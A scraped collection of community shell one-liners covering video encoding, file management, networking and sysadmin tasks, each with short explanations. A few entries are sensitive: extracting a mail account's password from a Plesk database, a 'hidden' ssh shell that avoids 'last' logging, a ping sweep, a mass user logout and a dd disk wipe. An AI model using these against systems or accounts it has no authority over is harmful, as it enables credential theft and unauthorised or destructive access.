In this case, I'm keeping an eye on /var/log/messages, but of course any file will do. When I'm following a file, I generally don't want to see anything other than what has been added due to the command or service I've executed. This keeps everything clean and tidy for troubleshooting.
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
Reencodes to MPEG-4 DivX output video file from step 1. Audio stream is simply copied. Resizes to 320x240 and deinterlaces as needed. A heading subtitle file is applied as watermark. This heading subtitle file can be a URL.
mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
Merge video files together using mencoder (part of mplayer)
Using mplayer's mencoder, you can merge video files together.
'-oac' specifies the audio encoding (here copy, to just copy and not compress)
'-ovc' specifies the video encoding (same thing).
rm file{1..10}
Remove several files with ease
Rather than typing out all 10 files, you can use brace expansion to do the trick for you. This is useful for backup files, numbered files, or any files with a repeating pattern. Gives more control than 'rm file*' as I might want to keep others around.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
+-------------+
| password |
| XXXXXXXXXX |
Pulls email password out of Plesk database for given email address.
This simply pulls the password out of the database for the given mail name for ease of use in testing emails that you would not normally have access to.
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
Grab all .flv files from a webpage to the current working directory
I wanted all the 'hidden' .flv files from the http link in the command line; wget seemed appropriate, fed with output from lynx, grep the flv files and the normalised via sed (to remove the numeric bullet). Similar to the 'Grab mp3 files' fu. Replace link with your own, grep arg with something more interesting ;) See here for something along the same lines...
http://www.commandlinefu.com/commands/view/1006/grab-mp3-files-from-your-favorite-netcasts-mp3blog-or-sites-that-often-have-good-mp3s
Hope you find it useful! Improvements welcome, naturally.
sed -n 's/.*\(.*\)<\/title>.*/\1/ip;T;q' file.html
Extract title from HTML files
This command can be used to extract the title defined in HTML pages
‹ First < 85 86 87 88 89 > Last ›
declare -f [ function_name ]
$ declare -f cd
cd ()
builtin cd "${@:-$HOME}" && ls -F -G -H -hol
Show bash's function definitions you defined in .bash_profile or .bashrc
If you omit the function name, the command will display all definitions
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
Functions: rpm sort
List all packages by installed size (Bytes) on rpm distros
dpkg -l
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
List manually installed packages (excluding Essentials)
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
0165c83d3ec75edded1066f4a042218748f5ef56 Added escaping of keywords on single view
94da1903caec853a3fd183405f3925e2e682b240 Test change to file
299fa310ddbb532a673e35f08c1944ae51f26261 Removed swap files
Useful when quickly looking for a commit id from a branch to use with git cherry-pick.
date --date="1 fortnight ago"
Fri Jan 23 14:53:27 CST 2009
date offset calculations
The date command does offset calculations nicely, handles concepts like "a month" as you'd expect, and is good for offsets of at least 100M years in either direction.
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
Sum size of files returned from FIND
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
Read PDFs in the command line
Turns a PDF into HTML (without images) and prints it to the standard out which is picked up and interpreted by w3m.
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
Functions: date echo export printf watch
StopWatch, simple text, hh:mm:ss using Unix Time
Works on real time clock, unix time based, decrementing the actual time from initial time saved in an environment variable exported to child process inside watch
Shows elapsed time from start of script in hh:mm:ss format
Non afected by system slow down due to the use of date.
for file in *.7z; do 7zr e "$file"; done
Extract all 7zip files in current directory taking filename spaces into account
sudo powertop
Top causes for wakeups:
32.1% (291.8) firefox : hrtimer_start_range_ns (hrtimer_wakeup)
Suggestion: increase the VM dirty writeback time from 5.00 to 15 seconds with:
echo 1500 > /proc/sys/vm/dirty_writeback_centisecs
This wakes the disk up less frequently for background VM activity
Suggestion: Enable SATA ALPM link power management via:
echo min_power > /sys/class/scsi_host/host0/link_power_management_policy
or press the S key.
Suggestion: Disable 'hal' from polling your cdrom with:
hal-disable-polling --device /dev/cdrom 'hal' is the component that auto-opens a
window if you plug in a CD but disables SATA power saving from kicking in.
Measure, explain and minimize a computer's electrical power consumption
Run this command as root to get enough stats. It works on AMD and Intel machines, including desktops. If ran on a laptop it'll give you suggestions on extending your battery life.
You'll need to install PowerTOP if you don't have, via 'apt-get install powertop', etc.
To grep the output use: sudo powertop -d | grep ...
The many command suggestions PowerTOP gives you alone will increase your command-line fu!
getent hosts google.com | awk '{print $1}'
Functions: awk getent
Get just the IP for a hostname
has the benefit of being a bit more cross-platform.
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
sten@fenris:~$ sudo lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
Show top running processes by the number of open filehandles they have
I think I could cut down the number of pipes here, any suggestions?
random -f
Randomize lines (opposite of | sort)
random(6) - random lines from a file or random numbers
echo data | nc -q 0 host 5000
Functions: echo host
Connect to TCP port 5000, transfer data and close connexion.
With no '-q 0' switch, nc simply waits, and whatever awaits the data hangs.
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
Maximum PNG compression with optipng, advpng, and advdef
optipng and advancecomp (for the the advpng and advdef tools) are the best FOSS tools for losslessly compressing PNGs. With the above tool chain, you can cut off as much as 20% off a PNG's file size.
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
find . -name
ssh -T user@host /bin/bash -i
"hidden" remote shell
opens a "hidden" remote shell (login will not appear in "last" for example).
This is not really hidden, because the login will be shown in auth.log and the process is visible anyways.
ssh -T = Disable pseudo-tty allocation.
bash -i = interactive shell
free -m | awk '/Mem/ {print $4}'
Functions: awk free
Print number of mb of free ram
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
$ id -un
olduser
$ xauth list
localhost/unix:10 MIT-MAGIC-COOKIE-1 fcc8934e033577e212791d9fa9e0aaff
localhost/unix:11 MIT-MAGIC-COOKIE-1 3b3c04952077c667430536d2ef621275
$ echo $DISPLAY
localhost:10.0
$ read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep $(echo ${DISPLAY: -4:2}));sudo su - $u
Username: newuser
newuser
Functions: echo grep read su
Propagate X session cookies on a different user and login as that user
Reads a username from
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
Functions: awk grep ifconfig xargs
The example command deletes all aliases for network interface 'em0' assuming that the aliases have netmask of 255.255.255.255 and the master IP has some other netmask (such as 255.255.255.0). See here -> http://my.galagzee.com/2009/07/22/deleting-all-network-interface-aliases/ for more on the rationale of this command.
sed '/test/{/error\|critical\|warning/d}' somefile
If you wanted to do all in one command, you could go w/ sed instead
du -hs *|grep M|sort -n
1,1M htdig
1,1M xml
1,2M empathy
52M man
55M locale
72M gtk-doc
94M apps
258M icons
316K ImageMagick-6.5.0
366M doc
This is easy to type if you are looking for a few (hundred) "missing" megabytes (and don't mind the occasional K slipping in)...
A variation without false positives and also finding gigabytes (but - depending on your keyboard setup - more painful to type):
du -hs *|grep -P '^(\d|,)+(M|G)'|sort -n
(NOTE: you might want to replace the ',' according to your locale!)
modify the globbing as needed! (e.g. '.[^\.]* *' to include hidden files and directories (w/ bash))
in its core similar to:
http://www.commandlinefu.com/commands/view/706/show-sorted-list-of-files-with-sizes-more-than-1mb-in-the-current-dir
pkill
See also: killall
perl -pe 'eof()||s/\n//g' file.txt
line three
line four
line five
$ perl -pe 'eof()||s/\n/, /g' file.txt
line one, line two, line three, line four, line five
This command turns a multi-line file into a single line joined with . To skip blank lines, use:
perl -pe '(eof()||s/^\s*$//)||s/\n//g' file.txt
‹ First < 86 87 88 89 90 > Last ›
host {checkIp or hostname} [dns server]
>host someServer 10.xxx.xx.xxx
Using domain server:
Name: 10.xxx.xx.xxx
Address: 10.xxx.xx.xxx#53
Aliases:
someServer.madeup.com is an alias for theOtherServer04.madeup.com.
theOtherServer04.madeup.com has address 10.134.159.86
Functions: host
I'm just a simple programmer. I find dig too verbose. host tells me alias(es) and IP address in a quick to grok format with nothing special to remember for input parameters.
With thanks to http://www.cyberciti.biz/faq/how-to-test-or-check-reverse-dns/
free -m | awk '/buffer/ {print $4}'
4920
Here we instead show a more real figure for how much free RAM you have when taking into consideration buffers that can be freed if needed.
Unix machines leave data in memory but marked it free to overwrite, so using the first line from the "free" command will mostly give you back a reading showing you are almost out of memory, but in fact you are not, as the system can free up memory as soon as it is needed.
I just noticed the free command is not on my OpenBSD box.
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
List your interfaces and MAC addresses
Requires sysfs mounted on /sys - may only be useful for Linux systems.
Could also use "printf '%-8s %s\n' $(basename $f) $(cat $f/address)" instead of echo.
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`
Functions: egrep kill
Somtime one wants to kill process not by name of executable, but by a parameter name. In such cases killall is not suitable method.
DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=swordfischer.com; DEST=/home/swordfischer/public_html; URL=https://swordfischer.com/upload/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Screenshot Taken" "Entire screen.\nCopied to clipboard"
https://swordfischer.com/upload/screenshot_2011-08-13_02-32-55-74.png
Functions: date echo ssh
Screenshot pipe to remote host, adding URL to clipboard, notifying when done. (without saving locally)
Requires you to have password free login to remote host ;)
Requires xclip and notify-send (If you want to put into clipboard and be notified when action is completed).
HOST="ssh host of your choice";
URL="URL for file if uploaded to web enabled dir ie.
import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png";
echo $URL | xclip; notify-send -u low "Screenshot Taken" "Entire screen.\nCopied to clipboard"
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
root@nagios plugins]# pwd
/usr/lib/nagios/plugins
[root@nagios plugins]# ./check_nrpe -H monitored-server -c check_disks_proc_mounts
DISK OK - free space: / 5811 MB (59%); /boot 35 MB (57%); /opt 3401 MB (34%); /dev/shm 1948 MB (100%); /tmp 6731 MB (94%); /var 4222 MB (84%);| /=4033MB;8367;8859;0;9844 /boot=26MB;51;54;0;60 /opt=6676MB;8564;9068;0;10076 /dev/shm=0MB;1655;1753;0;1948 /tmp=395MB;6057;6413;0;7126 /var=820MB;4284;4536;0;5041
Functions: cat echo
checking space availabe on all /proc/mounts points (using Nagios check_disk)
More info here: http://nagioswiki.com/wiki/index.php/Checking_/proc/mounts_on_remote_server
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
eject -x 8 /dev/cdrom
limit the cdrom driver to a specified speed
this command limit the speed to 8 until next eject of your cdrom disc , can be usefulll when you don't want to listen the sound of your cdrom driver .
netstat | awk '/EST/{print $5}' | sort
Sorted list of established destination connections
no need grep. its redundant when awk is present.
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
-r-xr-xr-x 0555 cat
-r-xr-xr-x 0555 chflags
-r-xr-xr-x 0555 chio
-r-xr-xr-x 0555 chmod
-r-xr-xr-x 0555 cp
-r-xr-xr-x 0555 csh
-r-xr-xr-x 0555 date
-r-xr-xr-x 0555 dd
-r-xr-xr-x 0555 df
-r-xr-xr-x 0555 domainname
Functions: rev sed stat
Since the original command (#1873) didn't work on FreeBSD whose stat lacks the "-c" switch, I wrote an alternative that does. This command shows also the fourth digit of octal format permissions which yields the sticky bit information.
who -u | grep -vE "^root " | kill `awk '{print $7}'`
Functions: grep kill who
Command to logout all the users in one command
Logs all users out except root.
I changed the grep to use a regexp in case a user's username contained the word root.
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
dig +short NS org.
a0.org.afilias-nst.info.
a2.org.afilias-nst.info.
b0.org.afilias-nst.org.
b2.org.afilias-nst.org.
c0.org.afilias-nst.info.
d0.org.afilias-nst.org.
Get the list of root nameservers for a given TLD
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "
Functions: alias sh sudo
sudo for entire line (including pipes and redirects)
USAGE: $ sudor your command
This command uses a dirty hack with history, so be sure you not turned it off.
WARNING!
This command behavior differ from other commands. It more like text macro, so you shouldn't use it in subshells, non-interactive sessions, other functions/aliases and so on. You shouldn't pipe into sudor (any string that prefixes sudor will be removed), but if you really want, use this commands:
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; pre_sudor_command="`history 1 | cut -d ' ' -f 5- | sed -r -e 's/sudor.*$//' -e 's/\"/\\\"/g'`"; if [ -n "${pre_sudor_command/ */}" ] ; then eval "${pre_sudor_command%| *}" | sudo sh -c "$sudor_command"; else sudo sh -c "$sudor_command" ;fi ;}; alias sudor="proceed_sudo # "
screen -dmS "name_me" echo "hi"
Functions: echo screen
Start screen with name and run command
Runs an instance of screen with name of "name_me" and command of "echo "hi""
To reconnect to screen instance later use:
screen -r name_me
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
Functions: kill sleep wait
I like much more the perl solution, but without using perl. It launches a backgroup process that will kill the command if it lasts too much.
A bigger function:
check_with_timeout() {
[ "$DEBUG" ] && set -x
COMMAND=$1
TIMEOUT=$2
RET=0
# Launch command in backgroup
[ ! "$DEBUG" ] && exec 6>&2 # Link file descriptor #6 with stderr.
[ ! "$DEBUG" ] && exec 2> /dev/null # Send stderr to null (avoid the Terminated messages)
$COMMAND 2>&1 >/dev/null &
COMMAND_PID=$!
[ "$DEBUG" ] && echo "Background command pid $COMMAND_PID, parent pid $$"
# Timer that will kill the command if timesout
sleep $TIMEOUT && ps -p $COMMAND_PID -o pid,ppid |grep $$ | awk '{print $1}' | xargs kill &
KILLER_PID=$!
[ "$DEBUG" ] && echo "Killer command pid $KILLER_PID, parent pid $$"
wait $COMMAND_PID
RET=$?
# Kill the killer timer
[ "$DEBUG" ] && ps -e -o pid,ppid |grep $KILLER_PID | awk '{print $1}' | xargs echo "Killing processes: "
ps -e -o pid,ppid |grep -v PID | grep $KILLER_PID | awk '{print $1}' | xargs kill
wait
sleep 1
[ ! "$DEBUG" ] && exec 2>&6 6>&- # Restore stderr and close file descriptor #6.
return $RET
joinargs() { (IFS="$1"; shift && echo "$*") }
Functions: echo shift
Joins args together using the first arg as glue
watch -n 5 -d cat /proc/mdstat
Functions: cat watch
Monitor Linux/MD RAID Rebuild
identify -ping imageName.png
Use ImageMagick to get an image's properties
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
It's the same command as submitted, but first with a command to make all characters green. It's the only way it looked "matrix-like" on my gnome-terminal.
wget --spider -v http://www.server.com/path/file.ext
use wget to check if a remote file exists
convert -colorspace gray face.jpg gray_face.jpg
Create black and white image
Use ImageMagick to create a "black and white" copy of an image.
sudo youtube-dl -U
Updating to latest stable version...
Updated to version 2010.08.04
Youtube-dl gone stale on you/stopped working (Ubuntu)?
If you update youtube-dl from the repos, it becomes out-of-date quickly. Luckily, it can auto-update.
find ./* -ctime -1 | xargs ls -ltr --color
reduces my time in displaying the last created files / directories
files and directories in the last 1 hour
added alias in ~/.bashrc
alias lf='find ./* -ctime -1 | xargs ls -ltr --color'
for y in $(seq 2009 2011); do cal $y; done
Functions: cal seq
Printing multiple years with Unix cal command
print multiple increasing years using cal - calendar -. You can also try
seq Start Increment End
‹ First < 87 88 89 90 91 > Last ›
ls -ldct /lost+found |awk '{print $6, $7}'
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
gets all files committed to svn by a particular user since a particular date
just change the date following the -r flag, and/or the user name in the user== conditional statement, and substitute yms_web with the name of your module
rsync -e 'ssh -p PORT' user@host:SRC DEST
rsync over ssh via non-default ssh port
tested on cygwin and Fedora 9 .
good to remember for those jobs where you cannot set a site-specific connect option in your ~/.ssh/config file.
cat <<.>> somefilename
> here is a line
> here is another line
> .
write text or append to a file
If you just want to write or append some text to a file without having to run a text editor, run this command. After running the command, start typing away. To exit, type . on a line by itself.
Replacing the >> with a single > will let you overwrite your file.
whereis somecommand
Functions: whereis
locate bin, src, and man file for a command
find / -name *~ -delete
user:~$ user$ find / -name *~
/home/user/file.txt~
/home/user/file2.txt~
/home/user/file3.txt~
user:~$ find / -name *~ -delete
user:~$ find / -name *~
user:~$
Remove Backup Files
Remove all text backup files.
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
Functions: cal grep
Show this month's calendar, with today's date highlighted
* The date command evaluated to today's date with blank padded on the left if single digit
* The grep command search and highlight today's date
* The --before-context and --after-context flags displays up to 6 lines before and after the line containing today's date; thus completes the calendar.
I have tested this command on Mac OS X Leopard and Xubuntu 8.10
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
Mount a partition from dd disk image
Assuming we have a disk image, ie. created by
dd if=/dev/sda of=image.dd
we can check the image's partition layout with
fdisk -ul image.dd
then, we substitute "x" with starting sector of the partition we want to mount. This example assumes that the disk uses 512 B sectors
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
use curl and sed to shorten an url via goo.gl
ls -lt | more
total 1180
-rw-r--r-- 1 george george 14724 2010-02-20 12:43 ArgusOutput.o
-rw-r--r-- 1 george george 21392 2010-02-20 12:43 ArgusUtil.o
-rw-r--r-- 1 george george 26932 2010-02-20 12:43 ArgusSource.o
-rw-r--r-- 1 george george 42720 2010-02-20 12:43 ArgusModeler.o
-rw-r--r-- 1 george george 29964 2010-02-20 12:43 argus.o
-r--r--r-- 1 george george 28623 2010-02-13 16:10 ArgusTcp.c
list files in mtime order
Simple but useful; list files in the current directory in mtime order. Useful if you've been working on something and then take a day or two off.
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
Functions: cat export grep hexdump
echo StrinG | tr '[:upper:]' '[:lower:]'
Converts uppercase chars in a string to lowercase
ncat -l portnumber
Simple server which listens on a port and prints out received data
Sometimes you need a simple server which listens on a port and prints out received data.
Example: Consider you want to know, which data is posted by a homepage to a remote script without analysing the html code! A simple way to do this is to save the page to your computer, substitude all action="address" with action="localhost:portnumber", run 'ncat -l portnumber' and open the edited page with your browser. If you then submit the form, ncat will print out the http-protocol with all the posted data.
psql -c "SELECT pg_database.datname, pg_database_size(pg_database.datname), pg_size_pretty(pg_database_size(pg_database.datname)) FROM pg_database ORDER BY pg_database_size DESC;" -d
-------------------+------------------+----------------
(6 rows)
List all databases in Postgres and their (byte/human) sizes, ordering by byte size descending
Get a listing of all of your databases in Postgres and their sizes, ordering by the largest size first.
Requires that you give the -d parameter a valid database name that you can connect to.
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
2048 b6:de:15:9b:00:c1:f5:f8:68:g9:43:9b:94:81:c5:c9 /etc/ssh/ssh_host_rsa_key.pub (RSA)
1024 e5:60:ff:6a:1f:0f:01:d0:14:6b:89:fa:64:f3:ae:2a /etc/ssh/ssh_host_dsa_key.pub (DSA)
Get ssh server fingerprints
Get your server's fingerprints to give to users to verify when they ssh in. Publickey locations may vary by distro. Fingerprints should be provided out-of-band.
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
kde4 lock screen command
If you wish to launch the kde4 screen saver without the password prompt to exit, use this command:
qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True
Also can be done with:
/usr/lib/kde4/libexec/kscreenlocker --forcelock
tar tfz filename.tgz |xargs rm -Rf
untar undo
echo $(( $RANDOM % 10 + 1 ))
Random number generation within a range N, here N=10
sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
a find and replace within text-based files, for batch text replacement, not using perl
Use sed to edit in-place a list of files returned by find.
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'
13 MB
Functions: awk grep printf
This will show the amount of physical RAM that is left unused by the system.
sudo ethtool -s eth0 wol d
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)"
Change Random Wallpaper on Gnome 3
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
Functions: alias cut grep tail
show all programs connected or listening on a network port
Use the aliased command 'nsl'
colormake, colorgcc, colordiff
Colorize make, gcc, and diff output
Colorize output of make, gcc/g++ or diff, making it easier to read at a glance.
They are not distributed with make, diff or gcc, but are usually available in the repositories.
hg diff -c $REV --reverse | hg patch --no-commit -
Functions: diff patch
Undo commit in Mercurial
‹ First < 88 89 90 91 92 > Last ›
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
avahi-autoipd:avahi-autoipd
avahi:avahi
backup:backup
bin:bin
daemon:daemon
debian-tor:debian-tor
debian-transmission:debian-transmission
games:games
gdm:gdm
gnats:gnats
haldaemon:haldaemon
Functions: echo groups
List all groups and the user names that were in each group
"cut" the user names from /etc/passwd and then running a loop over them.
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
Functions: cat tr
Show the command line of a process that use a specific port (ubuntu)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
reclaim your window titlebars (in ubuntu lucid)
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
Functions: awk ping sort
Poor man's nmap for a class C network from rfc1918
What do you do when nmap is not available and you want to see the hosts responding to an icmp echo request ? This one-liner will print all hosts responding with their ipv4 address.
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
grep (or anything else) many files with multiprocessor power
xargs -P N spawns up to N worker processes. -n 40 means each grep command gets up to 40 file names each on the command line.
PERMA () { echo "$@" >> ~/.bashrc; }
Make alias pemanent fast
Simple function to permanently add an alias to your profile.
Tested on bash and Ksh, bash version above.
Here is the ksh version: PERMA () { print "$@" >> ~/.profile; }
Sample usage:
PERMA alias la='ls -a'
netstat -alnp | grep ::80
Functions: grep netstat
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
Tekzilla_Daily_Tip_HD_Quicktime/Firefox_Save_Websites_As_An_Image_-_Tekzilla_Daily_Tip.mp4
MacBreak_Weekly/MacBreak_Weekly_130_I_Did_A_Fiduciary_Dooty.mp3
Buzz_Out_Loud_from_CNET/Buzz_Out_Loud_922_Hot_and_junky.mp3
The_Totally_Rad_Show_HD_Quicktime/Nash_Out_-_Halo_Wars,_Street_Fighter_The_Legend_of_Chun_Li,_Green_Hornet_and_Clue_news,_Oscar_wager_results_-_The_Totally_Rad_Show.mp4
FRAK/FRAK_0.0.5.mp4
Tekzilla_Daily_Tip_HD_Quicktime/OS_X_Perfect_Windows_Management_Expose_and_Spaces_Together_-_Tekzilla_Daily_Tip.mp4
IT_Conversations/Dion_Almaer,_Ben_Galbraith_-_Bespin.mp3
Leo_Laporte_-_The_Tech_Guy/Leo_Laporte_-_The_Tech_Guy_539.mp3
Systm_HD_Quicktime/UPS_+_Car_Battery_=_More_Computing_Or_a_48_Hour_Disco_Ball_-_Systm.mp4
Praia_das_Mas/Praia_das_Mas_3.m4a
.....
Functions: find gawk sort stat xargs
Generate a playlist of all the files in the directory, newer first
I use this to generate a playlist with all the podcasts I listen to.
Ordered from most recent to older.
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
Generate random valid mac addresses
Ruby version.
Also, a perl version:
perl -e 'printf("%.2x.",rand(255))for(1..5);printf("%.2x\n",rand(255))'
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
Functions: ssh stty
Execute a sudo command remotely, without displaying the password
The ssh command alone will execute the sudo command remotely, but the password will be visible in the terminal as you type it. The two stty commands disable the terminal from echoing the password back to you, which makes the remote sudo act as it does locally.
mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
Watch Al Jazeera Livestream directly in mplayer #jan25
One cannot call the high quality livestream directly, but command this gives you a session ID and the high quality stream. #egypt #jan25
sed -n 13p /etc/services
Go to the Nth line of file
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
Functions: cut du echo find sed xargs
Another way to calculate sum size of all files matching a pattern
Here the pattern is '*.jar', you could pass in any pattern.
Another, maybe nicer way to do this is
http://www.commandlinefu.com/commands/view/1921/summarise-the-size-of-all-files-matching-a-simple-regex
You could replace sed with tr
# for i in $(seq 1 25); do dd if=/dev/urandom of= bs=1M ; done
Functions: dd seq
Securely destroy data on given device
Intentional hash in the beginning. May run a looong time. Wipes your data for real. Was meant to be /dev/urandom - I mistyped it. :-)
gcc -dM -E - <<<''
#define __DBL_MIN_EXP__ (-1021)
#define __FLT_MIN__ 1.17549435e-38F
#define __DEC64_DEN__ 0.000000000000001E-383DD
#define __CHAR_BIT__ 8
#define __WCHAR_MAX__ 2147483647
#define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1
#define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_2 1
#define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4 1
doesn't need /dev/null
ls -1 |grep -v .jpg |xargs rm
Functions: grep ls xargs
bash -x script.sh 2> log
Run a bash script in debug mode, show output and save it on a file
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram
Functions: cpio find mount mv rm
preserve disk; keep OS clean
if you use disk-based swap then it can defeat the purpose of this function.
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
Functions: awk chmod echo touch
Create a listing of all possible permissions and their octal representation.
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
Converting video file (.flv, .avi etc.) to .3gp
ffmpeg
-i = input file name
-s = set frame size, qcif=176x144
-vcodec = force video codec
-r = frame-rate [default = 25]
-b = bit-rate [200 kb/s]
-acodec = force audio codec
-ab = audio bitrate in bits/s [64k]
-ac = no. of audio channels [1]
-ar = audio sampling frequency [44100 Hz]
optional:
-sameq = use same video quality as source (implies VBR)
-f = force format
-y = overwrite output files
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
This will download a Youtube playlist and mostly anything http://code.google.com/apis/youtube/2.0/reference.html#Video_Feeds
The files will be saved by $id.flv
gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" }
Functions: echo return
High resolution video screen recording
gorecord foo.mp4
I've tried all of the screen recorders available for Linux and this is easily the best. xvidcap segfaults; VNC is too much hassle. There are alternatives of this command already here that I am just too lazy to reply to. Messing with the frames per second option, -r, 25 seems to be the best. Any lower and the video will look like a flipbook, if it records at all - -r 10 won't - any faster is the same, oddly enough.
Edit: CLF doesn't like my long command to add audio, so here it is in the description.
goaddaudio() { if [ $# != 3 ]; then echo 'goaddaudio < audio > < src video > < dst video >' return fi f=goaddaudio$RANDOM ffmpeg -i "$2" &> $f d=$( grep Duration $f | awk '{print $2}' | tr -d ',' ) && rm $f && ffmpeg -i "$1" -i "$2" -r 25 -ab 192k -ar 44100 -sameq -t $d "$3" }
ncdu directory_name
ncdu 1.3 ~ Use the arrow keys to navigate, press ? for help
---/etc-------------------------------------------------------------------------
4.1MB [##########] /ssh
3.8MB [######### ] /brltty
1.0MB [## ] /htdig
700.0kB [# ] /acpi
680.0kB [# ] /X11
648.0kB [# ] /texmf
528.0kB [# ] /mono
508.0kB [# ] /init.d
. 504.0kB [# ] /ssl
484.0kB [# ] /kde3
400.0kB [ ] /apache2
ncdu - ncurses disk usage
